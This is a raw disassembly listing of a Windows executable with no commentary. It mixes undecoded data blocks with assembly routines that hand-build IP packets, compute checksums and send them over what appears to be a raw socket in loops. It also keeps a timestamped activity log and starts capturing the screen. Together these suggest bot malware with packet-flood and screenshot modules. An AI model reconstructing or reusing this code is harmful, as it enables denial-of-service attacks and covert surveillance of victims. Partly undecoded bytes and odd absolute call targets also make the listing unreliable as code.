		dd 0C6000002h, 0FF50F445h, 4CB65415h, 45896600h, 0E0458BF6h
		dd 8B9C4589h, 146AE445h, 0FA5D8966h, 0F85D8966h, 88A04589h
		dd 45C6A45Dh, 15FF06A5h, 4CB654h, 0A6458966h, 6A9C458Dh
		dd 858D5020h, 0FFFFFF60h, 8146E850h, 458D0000h,	50146AE8h
		dd 5080458Dh, 8137E8h, 60858D00h, 6AFFFFFFh, 82E85034h
		dd 66FFFF6Ah, 8DF84589h, 146AD445h, 60858D50h, 50FFFFFFh
		dd 8113E8h, 0E8458D00h,	8D50146Ah, 0FFFF7485h, 1E850FFh
		dd 6A000081h, 88458D04h, 75E85053h, 83000073h, 858D44C4h
		dd 0FFFFFF60h, 0E850286Ah, 0FFFF6A3Dh, 0DE458966h, 6AD4458Dh
		dd 858D5014h, 0FFFFFF60h, 80CEE850h, 0C4830000h, 0BC458D14h
		dd 5350106Ah, 0FF60858Dh, 3C6AFFFFh, 0FC75FF50h, 0B6B815FFh
		dd 0F883004Ch, 0FF0874FFh, 0BAE90845h, 0FFFFFFFDh, 15FFFC75h
		dd 4CB6ECh, 0B5E815FFh,	8D50004Ch, 0FFFDC485h, 875FFFFh
		dd 64CC6850h, 858D0043h, 0FFFFFBC0h, 20068h, 0E5E85000h
		dd 83000076h, 9D3918C4h, 0FFFFFF58h, 8D532375h,	0FFFBC085h
		dd 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh, 0FFFDC0B5h
		dd 57ADE8FFh, 0C483FFFFh, 0C0858D14h, 50FFFFFBh, 0ED8E8h
		dd 44B5FF00h, 0E8FFFFFFh, 0FFFF7133h, 90535959h, 2CBD17E8h
		dd 0FC75FF02h, 0B6EC15FFh, 458B004Ch, 6BD23308h, 0C88B3CC0h
		dd 0F70AE8C1h, 0FFFF4CB5h, 14E9C1FFh, 858D5051h, 0FFFFFDC4h
		dd 500875FFh, 0FE44858Dh, 8D50FFFFh, 0FFFBC085h, 647C68FFh
		dd 0E8500043h, 755Ah, 391CC483h, 0FFFF589Dh, 532375FFh
		dd 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h, 50FFFFFEh
		dd 0FDC0B5FFh, 1CE8FFFFh, 83FFFF57h, 858D14C4h,	0FFFFFBC0h
		dd 0E47E850h, 0B5FF0000h, 0FFFFFF44h, 0FF70A2E8h, 535959FFh
		dd 2CBC87E8h
		db 2, 90h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		mov	edx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+0Ch], esi
		jle	short loc_4143A6
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi


loc_414398:				; CODE XREF: ___:004143A0j
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_414398
		pop	edi
		cmp	eax, 1


loc_4143A6:				; CODE XREF: ___:0041438Cj
		jnz	short loc_4143B3
		mov	al, [edx]
		mov	[ebp+0Ch], al
		movzx	eax, word ptr [ebp+0Ch]
		add	esi, eax


loc_4143B3:				; CODE XREF: ___:loc_4143A6j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
dword_4143CC	dd 81EC8B55h, 394ECh, 8458B00h,	656A5756h, 8DF08B59h, 0FFFE6CBDh
					; DATA XREF: sub_401ACD+6D4Ao
		dd 0C7A5F3FFh, 19080h, 100h, 0F0858D00h, 50FFFFFEh, 737CE8h
		dd 8D505900h, 0FFFE7085h, 15FF50FFh, 4CB694h, 6CB58D50h
		dd 81FFFFFEh, 194ECh, 59656A00h, 0A5F3FC8Bh, 5FE8h, 9CC48100h
		dd 50000001h, 0FC6C858Dh, 0A868FFFFh, 50004365h, 7449E8h
		dd 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh,	75FFFFFFh
		dd 858D50F4h, 0FFFFFF70h, 6CB5FF50h, 0E8FFFFFEh, 0FFFF560Fh
		dd 8D14C483h, 0FFFC6C85h, 3AE850FFh, 0FF00000Dh, 98E8F075h
		dd 59FFFF6Fh, 0E8905659h, 22CBB7Ch, 81EC8B55h, 0CCECh
		dd 8B565300h, 4270A835h, 57DB3300h, 0FFFC5D89h,	0FF68D6h
		dd 36A0000h, 4589026Ah,	0D415FFF0h, 89004CB6h, 0D6FFF845h
		dd 741EE850h, 0BF590000h, 578h,	6A096A57h, 41BBE801h, 59590000h
		dd 0D8458D50h, 70BAE850h, 0C4830000h, 5A0BE0Ch,	7AE80000h
		dd 900227C4h, 33F0452Bh, 3E8B9D2h, 0F1F70000h, 1A0853Bh
		dd 870F0000h, 1C2h, 0EE081D39h,	5975004Ch, 8958106Ah, 8D50EC45h
		dd 50539845h, 707BE8h, 0CC48300h, 50EC458Dh, 5098458Dh
		dd 0FF0875FFh, 4CB5F815h, 0FF6800h, 16A0000h, 4150E8h
		dd 50595900h, 9E45B60Fh, 45B60F50h, 0B60F509Dh,	8D509C45h
		dd 0FFFF3485h, 0DC6868FFh, 0E8500042h, 732Eh, 0EB18C483h
		dd 34858D13h, 68FFFFFFh, 4CE7E8h, 7942E850h, 59590000h
		dd 0FF34858Dh, 0FF50FFFFh, 4CB69415h, 0F4458900h, 24A8458Bh
		dd 450C5645h, 10AC45C6h, 0FFA84589h, 4CB65415h,	45896600h
		dd 7344E8AEh, 89660000h, 458BB045h, 0B84589F4h,	19C858Bh
		dd 0C7660000h, 40B245h,	40B445C6h, 6B545C6h, 0B65D8966h
		dd 0E8BC4589h, 731Ah, 0C0458966h, 7311E8h, 45896600h, 7308E8C2h
		dd 45890000h, 7300E8C4h, 45890000h, 0CC458BC8h,	0FF502566h
		dd 500C146Ah, 18CE45C6h, 0CC458966h, 0C2458B66h, 8A458966h
		dd 89BC458Bh, 458D8C45h, 0C76650A8h, 787DD045h,	0D25D8966h
		dd 0D45D8966h, 8845C766h, 57E80002h, 66FFFFFDh,	8DB64589h
		dd 286AA845h, 0FD48E850h, 458BFFFFh, 10C483B8h,	0FF548589h
		dd 458BFFFFh, 58C68BCh,	85890000h, 0FFFFFF58h, 0FF5C9D88h
		dd 85C6FFFFh, 0FFFFFF5Dh, 0D0E8E806h, 66907169h, 0FF5E8589h
		dd 858DFFFFh, 0FFFFFF60h, 8D50146Ah, 0E850C045h, 7C98h
		dd 0FF74858Dh, 5057FFFFh, 50D8458Dh, 7C87E8h, 54858D00h
		dd 68FFFFFFh, 598h, 0FCE0E850h,	0C483FFFFh, 45896620h
		dd 8D106AD2h, 53508845h, 56A8458Dh, 0F875FF50h,	0B6B815FFh
		dd 45FF004Ch, 0FE20E9FCh, 75FFFFFFh, 0EC15FFF8h, 8B004CB6h
		dd 5E5FFC45h
; ---------------------------------------------------------------------------
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
byte_4146CF	db 55h			; DATA XREF: sub_401ACD+4CC0o
		dd 0EC81EC8Bh, 414h, 5608558Bh,	85B8h, 0C88B5700h, 0BD8DF28Bh
		dd 0FFFFFDECh, 214EC81h, 0A5F30000h, 0B58DC88Bh, 0FFFFFDECh
		dd 82C7FC8Bh, 210h, 1, 37E8A5F3h, 81000000h, 214C4h, 858D5000h
		dd 0FFFFFBECh, 4365DC68h, 5FE85000h, 8D000071h,	0FFFBEC85h
		dd 7AE850FFh, 0FF00000Ah, 0D8E8F075h, 83FFFF6Ch, 6A14C4h
		dd 2CB8BBE8h, 8B559002h, 54EC81ECh, 53000002h, 0FFBB56h
		dd 53570000h, 26A036Ah,	0B6D415FFh, 0F883004Ch,	0F44589FFh
		dd 858D1A75h, 0FFFFFDACh, 4367CC68h, 0BE85000h,	59000071h
		dd 0E959FF33h, 2C9h, 6AEC4D8Dh,	0FF335104h, 5057026Ah
		dd 1EC45C7h, 0FF000000h, 4CB63415h, 0FFF88300h,	15FF0E75h
		dd 4CB5E8h, 677C6850h, 1BEB0043h, 500C458Dh, 0B69415FFh
		dd 0F883004Ch, 0FF2075FFh, 4CB5E815h, 38685000h, 8D004367h
		dd 0FFFDAC85h, 0AFE850FFh, 83000070h, 6EE90CC4h, 57000002h
		dd 0DC45C766h, 15FF0002h, 4CB654h, 0DE458966h, 500C458Dh
		dd 0CAFEE890h, 358B7169h, 4270A8h, 0FFE04589h, 0F84589D6h
		dd 500C458Dh, 0FDAC858Dh, 0C68FFFFh, 50004367h,	7069E8h
		dd 0CC48300h, 214BD39h,	20750000h, 0AC858D57h, 0FFFFFFFDh
		dd 210B5h, 858D5000h, 18Ch, 875FF50h, 0FF522EE8h, 14C483FFh
		dd 0FFFC7D89h, 0F8452BD6h, 0E8B9D233h, 0F7000003h, 8DF08BF1h
		dd 10C85h, 12E85000h, 3B00006Fh, 870F59F0h, 193h, 41CBEh
		dd 0BB05EB00h, 0FFh, 0EE083D39h, 5275004Ch, 8958106Ah
		dd 8D50F045h, 5057CC45h, 6CFBE8h, 0CC48300h, 50F0458Dh
		dd 50CC458Dh, 0FF0875FFh, 4CB5F815h, 16A5300h, 3DD4E8h
		dd 50595900h, 0D245B60Fh, 45B60F50h, 0B60F50D1h, 8D50D045h
		dd 6868AC45h, 500042DCh, 6FB5E8h, 18C48300h, 458D10EBh
		dd 0E7E868ACh, 0E850004Ch, 75CCh, 0C6565959h, 4CE9E805h
		dd 15FF4500h, 4CB654h, 0E9EAA366h, 458D004Ch, 0C76650ACh
		dd 4CE9EC05h, 66000100h, 0E9EE3D89h, 5C6004Ch, 4CE9F0h
		dd 0F105C680h, 11004CE9h, 0F23D8966h, 0FF004CE9h, 4CB69415h
		dd 0E9F4A300h, 458B004Ch, 0E9F8A3E0h, 858D004Ch, 8Ch, 3D896650h
		dd 4CEA02h, 6E30E8h, 59C08500h,	8FE81075h, 9900006Fh, 401B9h
		dd 52F9F700h, 858D0EEBh, 8Ch, 6E0FE850h, 50590000h, 0B65415FFh
		dd 0A366004Ch, 4CE9FEh,	6F65E8h, 1B99900h, 68000004h, 408h
		dd 8966F9F7h, 4CE9FC15h, 5415FF00h, 68004CB6h, 400h, 0EA00A366h
		dd 3BE8004Ch, 9900006Fh, 6852FBF7h, 4CEA04h, 6BDBE8h, 0CC48300h
		dd 6ADC458Dh, 56575010h, 4CE9E868h, 0F475FF00h,	0B6B815FFh
		dd 0F883004Ch, 0A5840FFFh, 0FF000000h, 0E890FC45h, 227BF7Dh
		dd 33F8452Bh, 3E8B9D2h,	0F1F70000h, 858DD88Bh, 10Ch, 6D7FE850h
		dd 0D83B0000h, 74860F59h, 0FFFFFFFEh, 15FFF475h, 4CB6ECh
		dd 8DFC758Bh, 10C85h, 0F6695000h, 41Ch,	6D58E8h, 0D2335900h
		dd 0C68BC88Bh, 0F70AE8C1h, 14EEC1F1h, 75FF5650h, 0C458DFCh
		dd 66A86850h, 858D0043h, 0FFFFFDACh, 6E3CE850h,	0C4830000h
		dd 14BD3918h, 75000002h, 858D5720h, 0FFFFFDACh,	210B5FFh
		dd 8D500000h, 18C85h, 75FF5000h, 5001E808h, 0C483FFFFh
		dd 335E5F14h, 0C3C95BC0h, 56FC75FFh, 0B5E815FFh, 8D50004Ch
		dd 68500C45h, 43661Ch
		db 0EBh, 0ACh
word_414A92	dw 8B55h		; DATA XREF: sub_401ACD+6362o
		dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
		dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 6CB4E8h
		dd 8D505900h, 0FFFE7085h, 0A6E850FFh, 5900006Ch, 0F0858D50h
		dd 50FFFFFDh, 0B69415FFh, 0E850004Ch, 147h, 500CC483h
		dd 0FBEC858Dh, 0F868FFFFh, 50004367h, 6D89E8h, 83F63300h
		dd 75390CC4h, 562075F8h, 0FBEC858Dh, 75FFFFFFh,	858D50F4h
		dd 0FFFFFF70h, 0ECB5FF50h, 0E8FFFFFDh, 0FFFF4F4Fh, 8D14C483h
		dd 0FFFBEC85h, 7AE850FFh, 0FF000006h, 0D8E8F075h, 59FFFF68h
		dd 0E8905659h, 22CB4BCh
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp+14h], 0
		push	esi
		push	edi
		jnz	short loc_414B6F
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		nop
		call	near ptr 71AB3E5Dh
		jmp	loc_414C2B
; ---------------------------------------------------------------------------


loc_414B6F:				; CODE XREF: ___:00414B59j
		mov	esi, [ebp+8]
		push	1
		pop	edi
		lea	eax, [ebp-8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp-8], edi
		nop
		call	near ptr 71AB155Ah
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	esi
		call	dword_4CB5FC
		push	dword ptr [ebp+14h]
		lea	eax, [ebp-210h]
		mov	[ebp-108h], esi
		mov	[ebp-10Ch], edi
		push	0
		push	eax
		lea	eax, [ebp-10Ch]
		mov	[ebp-20Ch], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp-210h], edi
		call	dword_4CB63C
		test	eax, eax
		jnz	short loc_414BD3
		or	eax, 0FFFFFFFFh
		jmp	short loc_414C2B
; ---------------------------------------------------------------------------


loc_414BD3:				; CODE XREF: ___:00414BCCj
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_414BDE


loc_414BDA:				; CODE XREF: ___:00414BFEj
					; ___:00414C22j
		mov	eax, edi
		jmp	short loc_414C2B
; ---------------------------------------------------------------------------


loc_414BDE:				; CODE XREF: ___:00414BD8j
		lea	eax, [ebp-10Ch]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_414C00
		lea	eax, [ebp-210h]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_414BDA


loc_414C00:				; CODE XREF: ___:00414BEDj
		lea	eax, [ebp+8]
		mov	dword ptr [ebp+8], 4
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		nop
		call	near ptr 71AB4122h
		cmp	eax, edi
		jz	short loc_414BDA
		mov	eax, [ebp-4]
		neg	eax
		sbb	eax, eax


loc_414C2B:				; CODE XREF: ___:00414B6Aj
					; ___:00414BD1j ...
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		db 55h
		dd 0EC81EC8Bh, 10Ch, 6A575653h,	0DB335801h, 68535350h
		dd 0FFh, 26A036Ah, 90EC4589h, 6A0DACE8h, 0EC4D8D71h, 6A51046Ah
		dd 0A3505302h, 4CEE78h,	0B63415FFh, 358B004Ch, 4270A8h
		dd 0E850D6FFh, 6C60h, 6AC03359h, 0BD8D19h, 59FFFFFFh, 0FEF49D89h
		dd 4D89FFFFh, 0F89D8984h, 89FFFFFEh, 0FFFEFC9Dh, 7485C7FFh
		dd 1FFFFFFh, 0C7000004h, 0FFFF7885h, 15FFh, 7C85C700h
		dd 16FFFFFFh, 0C7000000h, 178045h, 45C70000h, 3588h, 8C45C700h
		dd 50h,	519045C7h, 0C7000000h, 589445h,	45C70000h, 6E98h
		dd 9C45C700h, 71h, 77A045C7h, 0C7000000h, 87A445h, 45C70000h
		dd 89A8h, 0AC45C700h, 8Bh, 8FB045C7h, 0C7000000h, 1BBB445h
		dd 45C70000h, 1BDB8h, 0BC45C700h, 400h,	99C045C7h, 0C7000005h
		dd 5DCC445h, 45C70000h,	6B8C8h,	0CC45C700h, 0CEAh, 3DD045C7h
		dd 0C700000Dh, 1388D445h, 45C70000h, 1A0BD8h, 0DC45C700h
		dd 1F40h, 90E045C7h, 0F300001Fh, 0F05D89ABh, 3E445C7h
		dd 0C7000000h, 0BB8E845h, 5D890000h, 8458BFCh, 6485C766h
		dd 2FFFFFFh, 68858900h,	8BFFFFFFh, 0BC8DFC45h, 0FFFF7405h
		dd 848B66FFh, 0FFFF7405h, 15FF50FFh, 4CB654h, 6A016A53h
		dd 85896602h, 0FFFFFF66h, 0B6D415FFh, 4D8D004Ch, 0F44589E4h
		dd 648D8D51h, 6AFFFFFFh, 0E8505110h, 0FFFFFD7Eh, 8910C483h
		dd 75FFF845h, 0EC15FFF4h, 39004CB6h, 0C75F85Dh,	8BFC4D8Bh
		dd 0D848907h, 0FFFFFEF4h, 4FC4583h, 70FC7D83h, 7CBF837Ch
		dd 68004CEEh, 42D124h, 6A84E857h, 59590000h, 4589D6FFh
		dd 0F4858DF4h, 89FFFFFEh, 4589FC5Dh, 2BD6FFF8h,	0D233F445h
		dd 3E8B9h, 3BF1F700h, 45770C45h, 8BF8458Bh, 74C33B00h
		dd 68575015h, 436824h, 0F0458957h, 6A45E8h, 10C48300h
		dd 0FF681AEBh, 530000FFh, 3834E8h, 50595900h, 0B65415FFh
		dd 0B70F004Ch, 0F04589C0h, 83FC45FFh, 8304F845h, 7C1CFC7Dh
		dd 53286AA8h, 4CEE1868h, 6716E800h, 0FFBE0000h,	0C60000FFh
		dd 4CEE1805h, 68564500h, 400h, 0EE2105C6h, 0C606004Ch
		dd 4CEE1905h, 0E6E80800h, 83000037h, 0FF5014C4h, 4CB65415h
		dd 66286A00h, 4CEE1CA3h, 5415FF00h, 80004CB6h, 4CEE200Dh
		dd 1D39FF00h, 4CEE08h, 0EE1AA366h, 8966004Ch, 4CEE1E1Dh
		dd 681A7500h, 0FFFEh, 0A6E8016Ah, 59000037h, 84D8B59h
		dd 2310E0C1h, 0EBC10BCEh, 0E7E8680Bh, 15FF004Ch, 4CB694h
		dd 4CEE24A3h, 8458B00h,	400068h, 0EE28A300h, 1D88004Ch
		dd 4CEE39h, 0B65415FFh,	5356004Ch, 0EE3AA366h, 62E8004Ch
		dd 8B000037h, 0C15356F8h, 56E808E7h, 83000037h,	0F80310C4h
		dd 5015FF57h, 0A3004CB6h, 4CEE30h, 4CEE38A0h, 87D8B00h
		dd 500C0F24h, 38A2146Ah, 66004CEEh, 89F0458Bh, 4CEE341Dh
		dd 1D896600h, 4CEE3Eh, 0EE2EA366h, 3D89004Ch, 4CEE54h
		dd 0EE581D88h, 5C6004Ch, 4CEE59h, 5415FF06h, 66004CB6h
		dd 4CEE5AA3h, 2EA16600h, 66004CEEh, 0EE4005C7h,	2004Ch
		dd 0EE443D89h, 0A366004Ch, 4CEE42h, 0EBFC5D89h,	0FFFFBE05h
		dd 5D390000h, 562F75FCh, 36CBE853h, 59590000h, 5415FF50h
		dd 66004CB6h, 4CEE2CA3h, 0EE24A100h, 50A3004Ch,	0C6004CEEh
		dd 4CEE3905h, 1D890200h, 4CEE34h, 53561FEBh, 0EE3905C6h
		dd 0E810004Ch, 3695h, 0FF505959h, 4CB65415h, 0C0B70F00h
		dd 4CEE34A3h, 5FF6600h,	4CEE1Ch, 0EE3005FFh, 0A166004Ch
		dd 4CEE2Eh, 0BE59056Ah,	4CEE2Ch, 4CEE5CBFh, 1D896600h
		dd 4CEE22h, 3C1D8966h, 6A004CEEh, 0BEA5F314h, 4CEE18h
		dd 0EE42A366h, 0E856004Ch, 0FFFF5C25h, 5068206Ah, 66004CEEh
		dd 4CEE22A3h, 5C13E800h, 0C483FFFFh, 3CA36610h,	6A004CEEh
		dd 0EE406810h, 6A53004Ch, 35FF5628h, 4CEE78h, 0B6B815FFh
		dd 45FF004Ch, 0FC7D81FCh, 3FFh,	0FF238C0Fh, 0E890FFFFh
		dd 227B8D1h, 33F4452Bh,	3E8B9D2h, 0F1F70000h, 770C453Bh
		dd 1075FF0Eh, 0BE21E890h, 0C2E90225h, 5FFFFFFDh, 0EE7CB85Eh
		dd 0C95B004Ch
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4150B5	proc near		; CODE XREF: sub_401ACD+7200p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43D810
		mov	edi, 0B8h


loc_4150C9:				; CODE XREF: sub_4150B5+33j
		cmp	byte ptr [esi],	0
		jz	short loc_4150EC
		push	[ebp+arg_0]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4150EC
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43E390
		jl	short loc_4150C9
		jmp	short loc_41512E
; ---------------------------------------------------------------------------


loc_4150EC:				; CODE XREF: sub_4150B5+17j
					; sub_4150B5+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43D810[esi]
		push	ebx
		call	sub_41B590
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_41B5F0
		push	9Fh
		lea	eax, dword_43D828[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_41B5F0
		add	esp, 24h
		inc	dword_4294D0
		pop	ebx


loc_41512E:				; CODE XREF: sub_4150B5+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_4150B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415135	proc near		; CODE XREF: sub_401ACD+28DEp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_436840
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43D810


loc_41515F:				; CODE XREF: sub_415135+72j
		cmp	byte ptr [esi],	0
		jz	short loc_41519A
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_43682C
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41B980
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 2Ch


loc_41519A:				; CODE XREF: sub_415135+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43E390
		jl	short loc_41515F
		pop	edi
		pop	esi
		leave
		retn
sub_415135	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4151AD	proc near		; CODE XREF: ___:004015A5p
					; ___:00401629p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		nop
		call	near ptr 2780112h
		mov	ebx, offset dword_4D327C
		mov	edi, 80h
		mov	esi, offset dword_4CF27C


loc_4151CF:				; CODE XREF: sub_4151AD+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_4151E6
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_4151E6:				; CODE XREF: sub_4151AD+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_4151CF
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4151AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415221	proc near		; CODE XREF: sub_4017ED+F7p
					; sub_401ACD:loc_402077p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41C190
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4151AD
		add	esp, 14h
		leave
		retn
sub_415221	endp


; =============== S U B	R O U T	I N E =======================================



sub_41524D	proc near		; CODE XREF: sub_401ACD+27D5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4CF27C
		xor	ecx, ecx


loc_415254:				; CODE XREF: sub_41524D+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4D327C
		jl	short loc_415254
		cmp	[esp+arg_C], ecx
		jnz	short loc_415282
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_43688C
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_415282:				; CODE XREF: sub_41524D+19j
		push	offset dword_436878
		call	sub_4151AD
		pop	ecx
		retn
sub_41524D	endp

; ---------------------------------------------------------------------------
word_41528E	dw 8B55h		; DATA XREF: sub_401ACD+2888o
		dd 1CEC81ECh, 8B000003h, 57560845h, 8B59456Ah, 0E4BD8DF0h
		dd 6AFFFFFEh, 33A5F301h, 55395FD2h, 0F845C7F0h,	80h, 89FC5589h
		dd 110B8h, 521E7500h, 0FEE8858Dh, 75FFFFFFh, 68BC68ECh
		dd 0FF500043h, 0FFFEE4B5h, 4795E8FFh, 0C483FFFFh, 68BD8014h
		dd 0FFFFFFh, 858D1774h,	0FFFFFF68h, 6483E850h, 0C0850000h
		dd 0FC458959h, 45890374h, 86583F8h, 0F27CBE00h
		db 4Ch,	0
; ---------------------------------------------------------------------------


loc_41530A:				; CODE XREF: ___:00415362j
		mov	eax, [ebp+8]
		cmp	eax, [ebp-8]
		jge	short loc_415364
		cmp	byte ptr [esi],	0
		jz	short loc_415353
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415339
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_415339
		lea	eax, [ebp-98h]
		push	eax
		push	esi
		call	sub_418087
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415353


loc_415339:				; CODE XREF: ___:0041531Ej
					; ___:00415324j
		push	edi
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	esi
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A73
		add	esp, 14h


loc_415353:				; CODE XREF: ___:00415315j
					; ___:00415337j
		inc	dword ptr [ebp+8]
		add	esi, 80h
		cmp	esi, offset dword_4D327C
		jl	short loc_41530A


loc_415364:				; CODE XREF: ___:00415310j
		lea	eax, [ebp-31Ch]
		push	offset dword_4368A0
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp-10h], esi
		pop	ecx
		jnz	short loc_41539E
		push	esi
		lea	eax, [ebp-31Ch]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-118h]
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A73
		add	esp, 14h


loc_41539E:				; CODE XREF: ___:0041537Cj
		lea	eax, [ebp-31Ch]
		push	eax
		call	sub_4151AD
		push	dword ptr [ebp-18h]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	esi
		nop
; ---------------------------------------------------------------------------
		dw 45E8h
; ---------------------------------------------------------------------------
		lodsb
		sub	al, 2
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4153BD	proc near		; CODE XREF: sub_401ACD+7350p

var_484		= byte ptr -484h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 484h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	dword_4CB640
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+var_20], edi
		jz	loc_4155F1
		push	8
		push	edi
		call	dword_4CB65C
		push	0Ah
		push	edi
		mov	[ebp+var_8], eax
		call	dword_4CB65C
		push	0Ch
